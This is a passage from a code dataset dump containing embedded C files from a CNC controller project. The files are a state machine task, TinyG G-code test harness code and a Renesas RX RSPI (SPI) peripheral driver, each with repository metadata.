MEM_FAIL;\n\tif(memcmp(configVarMaq,configVarMaqInit,sizeof(configVarMaq)))\n\t\tres = MEM_FAIL;\n\n\treturn res;\n}\n\n/***********************************************************************************************************************\n* Function Name: FlashError\n* Description : This function is called either from the FlashAPI, or from a VEE interrupt to signal that an error has\n* occurred during a flash operation. Whatever the user decides to do in this case should be in this\n* function.\n* Arguments : none\n* Return Value : none\n***********************************************************************************************************************/\nvoid FlashError(void)\n{\n /* The user can check the g_vee_state variable to see what state the error occurred in. User could also have\n recovery code here. */\n while(1);\n}\n" }, { "alpha_fraction": 0.6322869658470154, "alphanum_fraction": 0.6412556171417236, "avg_line_length": 14.181818008422852, "blob_id": "9c0631485fd40ebad2a71eba2ad2a2eaaca3213e", "content_id": "4292122b4677d1a49c11f652d7b9de95f291a718", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 669, "license_type": "no_license", "max_line_length": 55, "num_lines": 44, "path": "/src/states/ut_states_task.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * ut_states_task.c\n *\n * Created on: Nov 1, 2015\n * Author: Fernando\n */\n\n\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"lcd.h\"\n#include \"interpreter_if.h\"\n\n#include <string.h>\n#include <stdio.h>\n\nut_state currentState = STATE_SPLASH;\n\n/**\n * Execute state machine.\n */\nvoid states_task(void)\n{\n\tut_context pContext;\n\tiif_bind_idle();\n\t/* Initialize context */\n\tmemset(&pContext, 0, sizeof(ut_context));\n\n\t/* Initialize lcd */\n\tut_lcd_init();\n\n\t/* Run machine */\n\twhile(currentState < STATE_NUMBER)\n\t{\n\t\t/* Execute state function and get next state */\n\t\tcurrentState = states_table[currentState](&pContext);\n\t}\n\n\t/* Error! */\n\twhile(true)\n\t{\n\n\t}\n}\n\n" }, { "alpha_fraction": 0.6661911606788635, "alphanum_fraction": 0.6888118982315063, "avg_line_length": 42.42477798461914, "blob_id": "c606a27b126da531edcd26620c2ad4ae5b9b2f6c", "content_id": "36ac028fa85129e609662f3fbb33cf46d698c94b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4907, "license_type": "no_license", "max_line_length": 99, "num_lines": 113, "path": "/src/cnc/test.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * test.c - tinyg test sets\n * Part of TinyG project\n *\n * Copyright (c) 2010 - 2015 Alden S. Hart Jr.\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\n#include \"tinyg.h\"\t\t\t// #1\n#include \"config.h\"\t\t\t// #2\n#include \"controller.h\"\n#include \"planner.h\"\n#include \"test.h\"\n#include \"util.h\"\n#include \"xio.h\"\n\n// regression test files\n#ifdef __CANNED_TESTS\n\n#include \"tests/test_001_smoke.h\" \t\t\t// basic functionality\n#include \"tests/test_002_homing.h\"\t\t\t// G28.1 homing cycles\n#include \"tests/test_003_squares.h\"\t\t\t// square moves\n#include \"tests/test_004_arcs.h\"\t\t\t// arc moves\n#include \"tests/test_005_dwell.h\"\t\t\t// dwells embedded in move sequences\n#include \"tests/test_006_feedhold.h\"\t\t// feedhold - requires manual ! and ~ entry\n#include \"tests/test_007_Mcodes.h\"\t\t\t// M codes synchronized w/moves (planner queue)\n#include \"tests/test_008_json.h\"\t\t\t// JSON parser and IO\n#include \"tests/test_009_inverse_time.h\"\t// inverse time mode\n#include \"tests/test_010_rotary.h\"\t\t\t// ABC axes\n#include \"tests/test_011_small_moves.h\"\t\t// small move test\n#include \"tests/test_012_slow_moves.h\"\t\t// slow move test\n#include \"tests/test_013_coordinate_offsets.h\"\t// what it says\n#include \"tests/test_014_microsteps.h\"\t\t// test all microstep settings\n#include \"tests/test_050_mudflap.h\"\t\t\t// mudflap test - entire drawing\n#include \"tests/test_051_braid.h\"\t\t\t// braid test - partial drawing\n\n#endif\n\n#ifdef __TEST_99\n#include \"tests/test_099.h\"\t\t\t\t\t// diagnostic test file. used to diagnose specific issues\n#endif\n\n/*\n * run_test() - system tests from FLASH invoked by $test=n command\n *\n * \tBy convention the character array containing the test must have the same\n *\tname as the file name.\n */\nuint8_t run_test(nvObj_t *nv)\n{\n\tswitch ((uint8_t)nv->value) {\n\t\tcase 0: { return (STAT_OK);}\n#ifdef __CANNED_TESTS\n\n//\t\tcase 1: { xio_open(XIO_DEV_PGM, PGMFILE(&test_smoke),PGM_FLAGS); break;}\n//\t\tcase 2: { xio_open(XIO_DEV_PGM, PGMFILE(&test_homing),PGM_FLAGS); break;}\n//\t\tcase 3: { xio_open(XIO_DEV_PGM, PGMFILE(&test_squares),PGM_FLAGS); break;}\n//\t\tcase 4: { xio_open(XIO_DEV_PGM, PGMFILE(&test_arcs),PGM_FLAGS); break;}\n//\t\tcase 5: { xio_open(XIO_DEV_PGM, PGMFILE(&test_dwell),PGM_FLAGS); break;}\n//\t\tcase 6: { xio_open(XIO_DEV_PGM, PGMFILE(&test_feedhold),PGM_FLAGS); break;}\n//\t\tcase 7: { xio_open(XIO_DEV_PGM, PGMFILE(&test_Mcodes),PGM_FLAGS); break;}\n//\t\tcase 8: { xio_open(XIO_DEV_PGM, PGMFILE(&test_json),PGM_FLAGS); break;}\n//\t\tcase 9: { xio_open(XIO_DEV_PGM, PGMFILE(&test_inverse_time),PGM_FLAGS); break;}\n//\t\tcase 10: { xio_open(XIO_DEV_PGM, PGMFILE(&test_rotary),PGM_FLAGS); break;}\n//\t\tcase 11: { xio_open(XIO_DEV_PGM, PGMFILE(&test_small_moves),PGM_FLAGS); break;}\n//\t\tcase 12: { xio_open(XIO_DEV_PGM, PGMFILE(&test_slow_moves),PGM_FLAGS); break;}\n//\t\tcase 13: { xio_open(XIO_DEV_PGM, PGMFILE(&test_coordinate_offsets),PGM_FLAGS); break;}\n//\t\tcase 14: { xio_open(XIO_DEV_PGM, PGMFILE(&test_microsteps),PGM_FLAGS); break;}\n//\t\tcase 50: { xio_open(XIO_DEV_PGM, PGMFILE(&test_mudflap),PGM_FLAGS); break;}\n//\t\tcase 51: { xio_open(XIO_DEV_PGM, PGMFILE(&test_braid),PGM_FLAGS); break;}\n#endif\n#ifdef __TEST_99\n//\t\tcase 99: { xio_open(XIO_DEV_PGM, PGMFILE(&test_99),PGM_FLAGS); break;}\n#endif\n\t\tdefault: {\n\t\t\tfprintf_P(stderr,PSTR(\"Test #%d not found\\n\"),(uint8_t)nv->value);\n\t\t\treturn (STAT_ERROR);\n\t\t}\n\t}\n//\ttg_set_primary_source(XIO_DEV_PGM);\n\treturn (STAT_OK);\n}\n\n/*\n * run_canned_startup() - run a string on startup\n *\n *\tPre-load the USB RX (input) buffer with some test strings that will be called\n *\ton startup. Be mindful of the char limit on the read buffer (RX_BUFFER_SIZE).\n *\tIt's best to create a test file for really complicated things.\n */\nvoid run_canned_startup()\t// uncomment in tinyg.h if you want to run this\n{\n#ifdef __CANNED_STARTUP\n\n/* Run test 99 */\n//\txio_queue_RX_string_usb(\"$test=99\\n\");\t\t// run test file (doesn't work if text mode is disabled)\n//\txio_queue_RX_string_usb(\"{\\\"test\\\":99}\\n\");\t// run test file\n//\txio_queue_RX_string_usb(\"{test:98}\\n\");\t\t// run test file\n//\txio_queue_RX_string_usb(\"{test:99}\\n\");\t\t// run test file\n\n#endif // __CANNED_STARTUP\n}\n" }, { "alpha_fraction": 0.5174881815910339, "alphanum_fraction": 0.5322433710098267, "avg_line_length": 39.70861053466797, "blob_id": "6ee90c277683b894aa31d13c1dcca61e03f14ce6", "content_id": "b9782c18b12c4120b0432818c9273d15e9521a9b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 61470, "license_type": "no_license", "max_line_length": 132, "num_lines": 1510, "path": "/r_rspi_rx/src/r_rspi_rx.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2013, 2014 Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_rspi_rx.c\n* Device(s) : RX Family\n* Tool-Chain : Renesas RX Standard Toolchain 1.02\n* OS : None\n* H/W Platform :\n* Description : Functions for using RSPI on RX devices.\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description \n* : 25.10.2013 1.00 First Release\n* 01.05.2014 1.20 Added support for RX62N. Minor bug fixes.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n/* Defines for RSPI support */\n#include \"platform.h\"\n#include \"r_rspi_rx_if.h\"\n\n/***********************************************************************************************************************\nTypedef definitions\n***********************************************************************************************************************/\ntypedef enum\n{ // Values will be used as bit flags.\n RSPI_DO_TX = 0x1,\n RSPI_DO_RX = 0x2,\n RSPI_DO_TX_RX = 0x3\n} rspi_operation_t;\n\ntypedef struct rspi_tcb_s\n{\n void *psrc;\n void *pdest;\n uint16_t tx_count;\n uint16_t rx_count;\n uint16_t xfr_length;\n uint8_t bytes_per_transfer; /* Source buffer bytes per transfer: 1, 2, or 4. */\n bool do_rx_now; /* State flag for valid read data available. */\n bool do_tx; /* State flag for transmit operation. */\n rspi_operation_t transfer_mode; /* Transmit only, receive only, or transmit-receive. */\n #if RSPI_CFG_MASK_UNUSED_BITS == (1)\n uint32_t unused_bits_mask; /* For masking the unused upper bits of non power-of-2 data. */\n #endif\n} rspi_tcb_t;\n\n/* Driver internal shadow copy of register settings. */\ntypedef struct rspi_ctrl_reg_values_s\n{\n uint8_t spcr_val; /* RSPI Control Register (SPCR). */\n uint8_t sslp_val; /* RSPI Slave Select Polarity Register (SSLP) */\n uint8_t sppcr_val; /* RSPI Pin Control Register (SPPCR) */\n uint8_t spscr_val; /* RSPI Sequence Control Register (SPSCR) */\n uint8_t spbr_val; /* RSPI Bit Rate Register (SPBR). */\n uint8_t spdcr_val; /* RSPI Data Control Register (SPDCR) */\n uint8_t spckd_val; /* RSPI Clock Delay Register (SPCKD) */\n uint8_t sslnd_val; /* RSPI Slave Select Negation Delay Register (SSLND) */\n uint8_t spnd_val; /* RSPI Next-Access Delay Register (SPND) */\n uint32_t spcr2_val; /* RSPI Control Register 2 (SPCR2) */\n} rspi_ctrl_reg_values_t;\n\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n#if RSPI_CFG_USE_CH2 == 1\n #define RSPI_NUM_CHANNELS (3)\n#elif RSPI_CFG_USE_CH1 == 1\n #define RSPI_NUM_CHANNELS (2)\n#elif RSPI_CFG_USE_CH0 == 1\n #define RSPI_NUM_CHANNELS (1)\n#else\n #error \"ERROR in r_rspi_rx configuration. Must enable at least 1 channel for use.\"\n#endif\n\n#define RSPI_POWER_ON (0)\n#define RSPI_POWER_OFF (1)\n\n/***********************************************************************************************************************\nPrivate global variables and functions\n***********************************************************************************************************************/\n\n/* Array of channel handles. One for each physical RSPI channel on the device. */\nstatic struct rspi_config_block_s g_rspi_handles[RSPI_NUM_CHANNELS];\n\n/* Used to prevent having duplicate code for each channel. This only works if the channels are identical (just at \n different locations in memory). This is easy to tell by looking in iodefine.h and seeing if the same structure\n was used for all channels. */\nvolatile struct st_rspi __evenaccess * g_rspi_channels[RSPI_NUM_CHANNELS] =\n{\n/* Initialize the array for up to 3 channels. Add more as needed. */\n#if RSPI_NUM_CHANNELS == 1\n &RSPI0,\n#elif RSPI_NUM_CHANNELS == 2\n &RSPI0, &RSPI1\n#elif RSPI_NUM_CHANNELS == 3\n &RSPI0, &RSPI1, &RSPI2\n#endif\n};\n\nstatic volatile uint32_t g_rxdata[RSPI_NUM_CHANNELS]; /* Space for fast read of RSPI RX data register. */\n\n/* Allocate transfer control blocks for all channels. */\nstatic struct rspi_tcb_s g_rspi_tcb[RSPI_NUM_CHANNELS] = {0};\n/* Allocate transaction result code storage for all channels. */\nstatic rspi_callback_data_t g_rspi_cb_data[RSPI_NUM_CHANNELS] = {0};\n\n/* Allocate register settings structure for all channels and initialize to defaults. */\nstatic rspi_ctrl_reg_values_t g_ctrl_reg_values[] =\n{\n RSPI_SPCR_DEF, /* Control Register (SPCR) */\n RSPI_SSLP_DEF, /* Slave Select Polarity Register (SSLP) */\n RSPI_SPPCR_DEF, /* Pin Control Register (SPPCR) */\n RSPI_SPSCR_DEF, /* Sequence Control Register (SPSCR) */\n RSPI_SPBR_DEF, /* Bit Rate Register (SPBR) */\n RSPI_SPDCR_DEF, /* Data Control Register (SPDCR) */\n RSPI_SPCKD_DEF, /* Clock Delay Register (SPCKD) */\n RSPI_SSLND_DEF, /* Slave Select Negation Delay Register (SSLND) */\n RSPI_SPND_DEF, /* Next-Access Delay Register (SPND) */\n RSPI_SPCR2_DEF, /* Control Register 2 (SPCR2) */\n#if RSPI_NUM_CHANNELS > 1\n RSPI_SPCR_DEF, /* Control Register (SPCR) */\n RSPI_SSLP_DEF, /* Slave Select Polarity Register (SSLP) */\n RSPI_SPPCR_DEF, /* Pin Control Register (SPPCR) */\n RSPI_SPSCR_DEF, /* Sequence Control Register (SPSCR) */\n RSPI_SPBR_DEF, /* Bit Rate Register (SPBR) */\n RSPI_SPDCR_DEF, /* Data Control Register (SPDCR) */\n RSPI_SPCKD_DEF, /* Clock Delay Register (SPCKD) */\n RSPI_SSLND_DEF, /* Slave Select Negation Delay Register (SSLND) */\n RSPI_SPND_DEF, /* Next-Access Delay Register (SPND) */\n RSPI_SPCR2_DEF, /* Control Register 2 (SPCR2) */\n#endif\n#if RSPI_NUM_CHANNELS >2\n RSPI_SPCR_DEF, /* Control Register (SPCR) */\n RSPI_SSLP_DEF, /* Slave Select Polarity Register (SSLP) */\n RSPI_SPPCR_DEF, /* Pin Control Register (SPPCR) */\n RSPI_SPSCR_DEF, /* Sequence Control Register (SPSCR) */\n RSPI_SPBR_DEF, /* Bit Rate Register (SPBR) */\n RSPI_SPDCR_DEF, /* Data Control Register (SPDCR) */\n RSPI_SPCKD_DEF, /* Clock Delay Register (SPCKD) */\n RSPI_SSLND_DEF, /* Slave Select Negation Delay Register (SSLND) */\n RSPI_SPND_DEF, /* Next-Access Delay Register (SPND) */\n RSPI_SPCR2_DEF, /* Control Register 2 (SPCR2) */\n#endif\n};\n\n#if RSPI_CFG_MASK_UNUSED_BITS == (1)\n/* This is a lookup table to hold bit masks for use when the\n * RSPI_CFG_MASK_UNUSED_BITS config option is enabled.\n * The bit-length specifier field in the SPCMD register is\n * used as the index to select the corresponding mask */\nstatic const uint32_t g_unused_bits_masks[16] = {\n 0x000FFFFF, /* 0x0 = 20 bits data length */\n 0x00FFFFFF, /* 0x1 = 24 bits data length */\n 0xFFFFFFFF, /* 0x2 = 32 bits data length */\n 0xFFFFFFFF, /* 0x3 = 32 bits data length */\n 0x000000FF, /* 0x4 = 8 bits data length */\n 0x000000FF, /* 0x5 = 8 bits data length */\n 0x000000FF, /* 0x6 = 8 bits data length */\n 0x000000FF, /* 0x7 = 8 bits data length */\n 0x000001FF, /* 0x8 = 9 bits data length */\n 0x000003FF, /* 0x9 = 10 bits data length */\n 0x000007FF, /* 0xA = 11 bits data length */\n 0x00000FFF, /* 0xB = 12 bits data length */\n 0x00001FFF, /* 0xC = 13 bits data length */\n 0x00003FFF, /* 0xD = 14 bits data length */\n 0x00007FFF, /* 0xE = 15 bits data length */\n 0x0000FFFF, /* 0xF = 16 bits data length */\n};\n#endif\n\n/***********************************************************************************************************************\nPrivate function declarations\n***********************************************************************************************************************/\n/* Common routine used by RSPI API write or read functions. */\nstatic rspi_err_t rspi_write_read_common(rspi_handle_t handle,\n rspi_command_word_t command_word,\n void *psrc,\n void *pdest,\n uint16_t length,\n rspi_operation_t tx_rx_mode);\n/* Sets the baud rate registers for a given frequency. */\nstatic uint32_t rspi_baud_set(uint8_t channel, uint32_t baud_target);\n/* Determines the primitive data type required for accessing a given RSPI data frame bit length. */\nuint8_t rspi_get_data_type(rspi_command_word_t frame_length_bits);\n/* Common RSPI channel power-on utility. */\nstatic void power_on_off (uint8_t channel, uint8_t on_or_off);\n/* Set RSPI interrupt priorities. */\nstatic void rspi_ir_priority_set(uint8_t channel, uint8_t rspi_priority);\n/* Clear any pending RSPI interrupts. */\nstatic void rspi_interrupts_clear(uint8_t channel);\n/* Disable or enable RSPI interrupts. */\nstatic void rspi_interrupts_enable(uint8_t channel, bool enabled);\n/* Common subroutine for transmitting. */\nstatic void rspi_tx_rx_common(uint8_t channel);\n\n/***********************************************************************************************************************\n* Function Name: R_RSPI_Open\n* Description : This function applies power to the RSPI channel,\n* initializes the associated registers,\n* applies user-configurable options,\n* and provides the channel handle for use with other API functions.\n* Arguments : chan -\n* Number of the RSPI channel to be initialized\n* pconfig -\n* Pointer to RSPI channel configuration data structure.\n* pcallback -\n* Pointer to function called from interrupt\n* phandle -\n* Pointer to user-provided storage for a pointer to the handle data structure.\n* Return Value : RSPI_SUCCESS-\n* Successful; channel initialized\n* RSPI_ERR_BAD_CHAN-\n* Channel number is invalid for part\n* RSPI_ERR_CH_NOT_CLOSED-\n* Channel currently in operation; Perform R_RSPI_Close() first\n* RSPI_ERR_NULL_PTR-\n* pconfig pointer or phandle pointer is NULL\n* RSPI_ERR_INVALID_ARG-\n* An element of the pconfig structure contains an invalid value.\n* RSPI_ERR_LOCK-\n* The lock could not be acquired. The channel is busy.\n***********************************************************************************************************************/\nrspi_err_t R_RSPI_Open(uint8_t channel,\n rspi_chnl_settings_t *pconfig,\n void (*pcallback)(void *pcbdat),\n rspi_handle_t *phandle)\n{\n rspi_ctrl_reg_values_t *my_settings = &(g_ctrl_reg_values[channel]);\n\n #if RSPI_CFG_REQUIRE_LOCK == 1\n bool lock_result = false;\n #endif\n\n #if RSPI_CFG_PARAM_CHECKING_ENABLE == 1\n /* Check channel number. */\n if (channel >= RSPI_NUM_CHANNELS)\n {\n /* Invalid channel. */\n return RSPI_ERR_BAD_CHAN;\n }\n\n if ((NULL == pconfig) || (NULL == phandle))\n {\n return RSPI_ERR_NULL_PTR;\n }\n\n /* Check to see if the peripheral has already been initialized. */\n if (true == g_rspi_handles[channel].rspi_chnl_opened)\n {\n /* This channel has already been initialized. */\n return RSPI_ERR_CH_NOT_CLOSED;\n }\n #endif\n\n #if RSPI_CFG_REQUIRE_LOCK == 1\n /* Attempt to acquire lock for this RSPI channel. Prevents reentrancy conflict. */\n lock_result = R_BSP_HardwareLock((mcu_lock_t)(BSP_LOCK_RSPI0 + channel));\n\n if(false == lock_result)\n {\n return RSPI_ERR_LOCK; /* The open function is currently locked. */\n }\n #endif\n\n power_on_off(channel, RSPI_POWER_ON);\n\n if (0 == channel)\n {\n rspi_ir_priority_set(channel, RSPI_IR_PRIORITY_CHAN0);\n }\n #if RSPI_NUM_CHANNELS > 1\n else if (1 == channel)\n {\n rspi_ir_priority_set(channel, RSPI_IR_PRIORITY_CHAN1);\n }\n #endif\n #if RSPI_NUM_CHANNELS > 2\n else if (2 == channel)\n {\n rspi_ir_priority_set(channel, RSPI_IR_PRIORITY_CHAN2);\n }\n #endif\n else\n {\n /* Nothing else. */\n }\n\n /* Disable interrupts in ICU. */\n rspi_interrupts_enable(channel, false);\n\n /* Set the base bit rate. Modifies the SPBR register setting with requested baud rate.*/\n if (0 == rspi_baud_set(channel, pconfig->bps_target))\n { // Failed\n #if RSPI_CFG_REQUIRE_LOCK == 1\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_RSPI0 + channel));\n #endif\n return RSPI_ERR_ARG_RANGE; /* Could not calculate settings for the requested baud rate. */\n }\n\n /* Set pin control register (SPPCR) */\n (*g_rspi_channels[channel]).SPPCR.BYTE = (uint8_t)(my_settings->sppcr_val & RSPI_SPPCR_MASK);\n\n /* Set slave select polarity register (SSLP). */\n (*g_rspi_channels[channel]).SSLP.BYTE = (uint8_t)(my_settings->sslp_val & RSPI_SSLP_MASK);\n\n /* Apply the SPBR setting. */\n (*g_rspi_channels[channel]).SPBR = my_settings->spbr_val;\n\n /* Set RSPI data control register (SPDCR). Only SPLW bit supported in this ver. */\n /* Force to long word data access here regardless of user defined setting. */\n (*g_rspi_channels[channel]).SPDCR.BYTE = RSPI_SPDCR_SPLW;\n\n /* Set RSPI clock delay registers (SPCKD) */\n (*g_rspi_channels[channel]).SPCKD.BYTE = (uint8_t)(my_settings->spckd_val & RSPI_SPCKD_MASK);\n\n /* Set RSPI slave select negation delay register (SSLND) */\n (*g_rspi_channels[channel]).SSLND.BYTE = (uint8_t)(my_settings->sslnd_val & RSPI_SSLND_MASK);\n\n /* Set RSPI next-access delay register (SPND) */\n (*g_rspi_channels[channel]).SPND.BYTE = (uint8_t)(my_settings->spnd_val & RSPI_SPND_MASK);\n\n /* Set RSPI control register 2 (SPCR2) */\n (*g_rspi_channels[channel]).SPCR2.BYTE = (uint8_t)(my_settings->spcr2_val & RSPI_SPCR2_MASK);\n\n /* Determine master/slave mode setting based on channel settings argument.\n * Overrides prior state for this bit . */\n if (RSPI_MS_MODE_MASTER == pconfig->master_slave_mode)\n {\n my_settings->spcr_val |= RSPI_MS_MODE_MASTER; // Set the master mode bit\n }\n else\n {\n my_settings->spcr_val &= RSPI_MS_MODE_SLAVE; // Clear the master mode bit\n }\n\n /* Determine RSPI slave select mode setting based on channel settings argument.\n * Overrides prior state for this bit . */\n if (RSPI_IF_MODE_4WIRE == pconfig->gpio_ssl)\n {\n my_settings->spcr_val &= RSPI_IF_MODE_4WIRE; // Clear the SPMS bit\n }\n else\n {\n my_settings->spcr_val |= RSPI_IF_MODE_3WIRE; // Set the SPMS bit\n }\n /* Set RSPI control register (SPCR) */\n (*g_rspi_channels[channel]).SPCR.BYTE = my_settings->spcr_val;\n\n /* Peripheral Initialized */\n g_rspi_handles[channel].rspi_chnl_opened = true;\n g_rspi_handles[channel].pcallback = pcallback;\n g_rspi_handles[channel].channel = channel;\n\n *phandle = &(g_rspi_handles[channel]); // Return a pointer to the channel handle structure.\n\n #if RSPI_CFG_REQUIRE_LOCK == 1\n /* Release lock for this channel. */\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_RSPI0 + channel));\n #endif\n\n return RSPI_SUCCESS;\n}\n/* end of function R_RSPI_Open(). */\n\n\n/***********************************************************************************************************************\n* Function Name: R_RSPI_Control\n* Description : This function is responsible for handling special hardware or software operations for the RSPI channel.\n* Arguments : handle-\n* Handle for the channel\n* cmd\n* Enumerated command code\n* pcmd_data\n* Pointer to the command-data structure parameter of type void that is used to reference the location\n* of any data specific to the command that is needed for its completion.\n* Return Value : RSPI_SUCCESS-\n* Command successfully completed.\n* RSPI_ERR_CH_NOT_OPEN-\n* The channel has not been opened. Perform R_RSPI_Open() first\n* RSPI_ERR_BAD_CHAN-\n* Channel number is invalid for part\n* RSPI_ERR_UNKNOWN_CMD-\n* Control command is not recognized.\n* RSPI_ERR_NULL_PTR-\n* pcmd_data pointer or handle is NULL\n* RSPI_ERR_INVALID_ARG-\n* An element of the pcmd_data structure contains an invalid value.\n* RSPI_ERR_LOCK-\n* The lock could not be acquired. The channel is busy.\n***********************************************************************************************************************/\nrspi_err_t R_RSPI_Control(rspi_handle_t handle,\n rspi_cmd_t cmd,\n void *pcmd_data)\n{\n /* Command function data structure definitions. One for each command in rspi_cmd_t. */\n rspi_cmd_baud_t *p_baud_struct;\n rspi_cmd_setregs_t *p_setregs_struct;\n uint8_t reg_temp = 0;\n uint8_t channel = handle->channel;\n rspi_ctrl_reg_values_t *new_reg_settings = &(g_ctrl_reg_values[channel]);\n\n #if RSPI_CFG_REQUIRE_LOCK == 1\n bool lock_result = false;\n #endif\n\n #if RSPI_CFG_PARAM_CHECKING_ENABLE == 1\n if ((NULL == handle) || ((NULL == pcmd_data) && ((void *)FIT_NO_PTR != pcmd_data)))\n {\n return RSPI_ERR_NULL_PTR;\n }\n if (!g_rspi_handles[channel].rspi_chnl_opened)\n {\n return RSPI_ERR_CH_NOT_OPENED;\n }\n #endif\n\n #if RSPI_CFG_REQUIRE_LOCK == 1\n /* Attempt to acquire lock for this RSPI channel. Prevents reentrancy conflict. */\n lock_result = R_BSP_HardwareLock((mcu_lock_t)(BSP_LOCK_RSPI0 + channel));\n\n if(false == lock_result)\n {\n return RSPI_ERR_LOCK; /* The control function is currently locked. */\n }\n #endif\n\n switch(cmd)\n {\n case RSPI_CMD_SET_BAUD:\n {\n p_baud_struct = (rspi_cmd_baud_t *)pcmd_data;\n\n reg_temp = (*g_rspi_channels[channel]).SPCR.BYTE; /* Temporarily save state of the SPCR register. */\n\n /* Temporarily disable the RSPI operation. */\n /* SPE and SPTIE should be cleared simultaneously. */\n (*g_rspi_channels[channel]).SPCR.BYTE = (uint8_t)(reg_temp & (~(RSPI_SPCR_SPTIE | RSPI_SPCR_SPE)));\n\n /* Update the baud rate. */\n /* Get the register settings for requested baud rate. */\n if (0 == rspi_baud_set(channel, p_baud_struct->bps_target))\n {\n #if RSPI_CFG_REQUIRE_LOCK == 1\n /* Release lock for this channel. */\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_RSPI0 + channel));\n #endif\n return RSPI_ERR_ARG_RANGE; /* Could not calculate settings for the requested baud rate. */\n }\n\n (*g_rspi_channels[channel]).SPCR.BYTE = reg_temp; /* Re-enable the RSPI operation. */\n }\n break;\n\n case RSPI_CMD_ABORT:\n {\n /* Perform immediate abort of the active RSPI transfer on this channel.\n * Does not close the channel. */\n rspi_interrupts_enable(channel, false); /* Disable interrupts in ICU. */\n (*g_rspi_channels[channel]).SPCR.BIT.SPE = 0; /* Disable RSPI. Forces soft reset. */\n\n /* Transfer aborted. Call the user callback function passing pointer to the result structure. */\n if((FIT_NO_FUNC != g_rspi_handles[channel].pcallback) && (NULL != g_rspi_handles[channel].pcallback))\n {\n g_rspi_cb_data[channel].handle = &(g_rspi_handles[channel]);\n g_rspi_cb_data[channel].event_code = RSPI_EVT_TRANSFER_ABORTED;\n g_rspi_handles[channel].pcallback((void*)&(g_rspi_cb_data[channel]));\n }\n\n }\n break;\n\n case RSPI_CMD_SETREGS: // Expert use only! Set all user supported RSPI regs in one operation.\n {\n /* Overrides driver default settings.\n * Copies user-specified register settings into driver's shadow copy.\n * Settings do not take effect until the channel is closed and then reopened.\n */\n p_setregs_struct = (rspi_cmd_setregs_t *)pcmd_data;\n new_reg_settings->spckd_val = p_setregs_struct->spckd_val;\n new_reg_settings->spcr2_val = p_setregs_struct->spcr2_val;\n new_reg_settings->spnd_val = p_setregs_struct->spnd_val;\n new_reg_settings->sppcr_val = p_setregs_struct->sppcr_val;\n new_reg_settings->sslnd_val = p_setregs_struct->sslnd_val;\n new_reg_settings->sslp_val = p_setregs_struct->sslp_val;\n }\n break;\n\n default:\n {\n #if RSPI_CFG_REQUIRE_LOCK == 1\n /* Release lock for this channel. */\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_RSPI0 + channel));\n #endif\n /* Error, command not recognized. */\n return RSPI_ERR_UNKNOWN_CMD;\n }\n }\n\n #if RSPI_CFG_REQUIRE_LOCK == 1\n /* Release lock for this channel. */\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_RSPI0 + channel));\n #endif\n\n\treturn RSPI_SUCCESS;\n}\n/* end of function R_RSPI_Control(). */\n\n\n/***********************************************************************************************************************\n* Function Name: R_RSPI_Read\n* Description : Receives data from a SPI device.\n* Arguments : handle-\n* Handle for the channel\n* spcmd_command_word-\n* bitfield data consisting of all the RSPI command register settings for SPCMD for this operation.\n* This value will be placed directly into the SPCMD register by the function. Caller is required to\n* provide correctly formatted data.\n* pdest-\n* Pointer to destination buffer into which data will be copied that is received from a SPI 